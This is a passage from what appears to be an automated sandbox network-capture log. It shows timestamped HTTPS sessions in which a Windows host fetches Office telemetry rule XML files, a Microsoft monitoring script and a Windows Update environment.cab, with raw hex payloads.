2024-12-01 02:33:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49869	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:18 UTC	454	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-12-01 02:33:19 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Sun, 01 Dec 2024 02:33:18 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241201T023318Z-174f784596886s2bhC1EWR743w00000012c00000000070fm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:19 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 70136b16-301e-001f-76a9-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023319Z-174f7845968glpgnhC1EWR7uec00000012e000000000bup6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:19 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:19 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 99560e56-401e-00a3-21e1-418b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023319Z-174f7845968psccphC1EWRuz9s00000012m0000000006mrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:19 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:19 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:19 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 1c8d8025-901e-002a-39f2-417a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023319Z-174f7845968frfdmhC1EWRxxbw000000128g00000000gy6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:19 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: e7ccb915-001e-0014-50a1-425151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023320Z-174f78459684db9fhC1EWRc7g4000000026000000000mq7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: f7667120-201e-006e-59ef-41bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023320Z-174f7845968ljs8phC1EWRe6en0000001280000000001t1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 562f2249-001e-0028-5dab-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023321Z-174f7845968frfdmhC1EWRxxbw000000129000000000ewrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3d280e2f-f01e-0099-6705-419171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023322Z-174f78459684bddphC1EWRbht40000001230000000005gmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49880	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:21 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7BHvlzT3bUKzeVl&MD=fdcx8Vnk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-01 02:33:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cdf4212e-23b7-4e90-8c14-76fc9e3aa674 MS-RequestId: bb72bed3-3688-4171-9ce0-48a46c9f95fe MS-CV: 3SAblyt1ZEyhG9Wz.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 01 Dec 2024 02:33:21 GMT Connection: close Content-Length: 30005
2024-12-01 02:33:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-01 02:33:22 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1ade8e34-501e-008f-20ab-429054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023322Z-174f78459688l8rvhC1EWRtzr00000000ex0000000009c5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:22 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 1f804e14-301e-003f-7366-40266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023322Z-174f7845968ljs8phC1EWRe6en000000123000000000eamq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" 